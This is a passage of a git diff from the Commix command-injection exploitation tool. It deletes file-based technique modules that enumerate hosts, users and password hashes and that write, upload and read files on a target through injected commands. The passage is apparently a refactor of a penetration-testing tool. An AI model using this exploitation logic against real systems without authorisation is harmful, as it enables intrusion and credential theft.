enumeration -""" -def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_hostname(shell, filename, _) - -""" -Retrieve system information -""" -def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell, filename) - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - checks.print_enumenation().ps_version_msg() - powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.is_root or menu.options.is_admin: - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - -""" -Check stored session -""" -def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py deleted file mode 100755 index a95ed0c07f..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ /dev/null @@ -1,132 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_handler - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = checks.change_dir(dest_to_write) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - cmd = checks.delete_tmp(tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - else: - cmd = checks.write_content(content, dest_to_write) - cmd = cmd + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd, dest_to_upload = checks.check_file_to_upload() - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if menu.options.file_write: - file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.file_access_options(): - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 911192d8d5..4bb664b6a2 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -12,492 +12,24 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.utils import common -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector -from src.core.injections.semiblind.techniques.file_based import fb_payloads -from src.core.injections.semiblind.techniques.file_based import fb_enumeration -from src.core.injections.semiblind.techniques.file_based import fb_file_access -from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Check if file-based technique has failed, -then use the "/tmp/" directory for tempfile-based technique. -""" -def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): - if no_result == True: - path = tmp_path - checks.setting_writable_dir(path) - call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - return call_tfb - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - +from src.core.injections.controller import handler """ -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_BASED_STATE != None or settings.TEMPFILE_BASED_STATE != None: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - if settings.FILE_BASED_STATE != None: - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - elif settings.TEMPFILE_BASED_STATE != None: - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -""" -Provide custom server's root directory +The "file-based" technique on semiblind OS command injection. """ -def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if not settings.CUSTOM_WEB_ROOT: - if settings.TARGET_OS == settings.OS.WINDOWS : - default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] - else: - default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) - message = "Enter what you want to use for writable directory (e.g. '" - message += default_root_dir + "') > " - settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) - if len(settings.WEB_ROOT) == 0: - settings.WEB_ROOT = default_root_dir - settings.CUSTOM_WEB_ROOT = True - - if not settings.LOAD_SESSION: - path = settings.WEB_ROOT - checks.setting_writable_dir(path) - menu.options.web_root = settings.WEB_ROOT.strip() - -""" -Return TEMP path for win / *nix targets. -""" -def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - def check_trailing_slashes(): - if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): - menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" - elif not menu.options.web_root.endswith("/"): - menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" - - # Set temp path - if settings.TARGET_OS == settings.OS.WINDOWS: - if "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.TMP_PATH = r"C:\\Windows\TEMP\\" - else: - settings.TMP_PATH = "%temp%\\" - else: - settings.TMP_PATH = "/tmp/" - - if menu.options.tmp_path: - tmp_path = menu.options.tmp_path - else: - tmp_path = settings.TMP_PATH - - if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: - settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT - - if menu.options.file_dest and '/tmp/' in menu.options.file_dest: - call_tmp_based = True - - if menu.options.web_root: - settings.WEB_ROOT = menu.options.web_root - else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") - - check_trailing_slashes() - - return tmp_path - - -def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): - if exit_loops == False: - if settings.VERBOSITY_LEVEL == 0: - percent = checks.print_percentage(float_percent, no_result, shell) - checks.injection_process(injection_type, technique, percent) - return True - else: - return True - else: - return False - """ The "file-based" injection technique handler """ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - exit_loops = False - no_result = True - is_encoded = False - stop_injection = False - call_tmp_based = False - next_attack_vector = False - export_injection_info = False - - if not settings.LOAD_SESSION: - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - # Check if defined alter shell - alter_shell = menu.options.alter_shell - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION: - try: - settings.FILE_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT - if re.findall(settings.DIRECTORY_REGEX,payload): - filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] - settings.WEB_ROOT = os.path.dirname(filepath) - settings.CUSTOM_WEB_ROOT = True - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - session_handler.notification(url, technique, injection_type) - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - except TypeError: - checks.error_loading_session_file() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - checks.testing_technique_title(injection_type, technique) - - if not settings.LOAD_SESSION: - i = i + 1 - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - try: - # File-based decision payload (check if host is vulnerable). - if alter_shell : - payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) - else: - payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) - - # Check if defined "--prefix" option. - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Cookie Injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = fb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP Header Injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP Header Injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to Referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = fb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP Header Injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to Host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = fb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) - - # Find the directory. - output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) - time.sleep(timesec) - - try: - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - - if type(response) is bool: - html_data = "" - else: - html_data = checks.page_encoding(response, action="decode") - shell = re.findall(r"" + TAG + "", str(html_data)) - - if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: - percent = settings.info_msg - checks.injection_process(injection_type, technique, percent) - - if len(shell) == 0 : - raise _urllib.error.HTTPError(url, 404, 'Error', {}, None) - - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - percent, float_percent = checks.percentage_calculation(i, total) - - if call_tmp_based == True: - exit_loops = True - tmp_path = os.path.split(menu.options.file_dest)[0] + "/" - tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - raise - - # Show an error message, after N failed tries. - # Use the "/tmp/" directory for tempfile-based technique. - elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): - if i == total: - if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): - continue - else: - raise - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - settings.print_data_to_stdout(settings.END_LINE.CR) - message = "It seems that you don't have permissions to " - message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - if not menu.options.web_root: - message += " You are advised to rerun with option '--web-root'." - while True: - message = message + "\nDo you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " - tmp_upload = common.read_input(message, default="Y", check_batch=True) - if tmp_upload in settings.CHOICE_YES: - exit_loops = True - settings.TEMPFILE_BASED_STATE = True - call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - if call_tfb != False: - return True - else: - if no_result == True: - return False - else: - return True - elif tmp_upload in settings.CHOICE_NO: - break - elif tmp_upload in settings.CHOICE_QUIT: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - else: - common.invalid_option(tmp_upload) - pass - continue - - else: - if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): - continue - else: - raise - - elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - elif 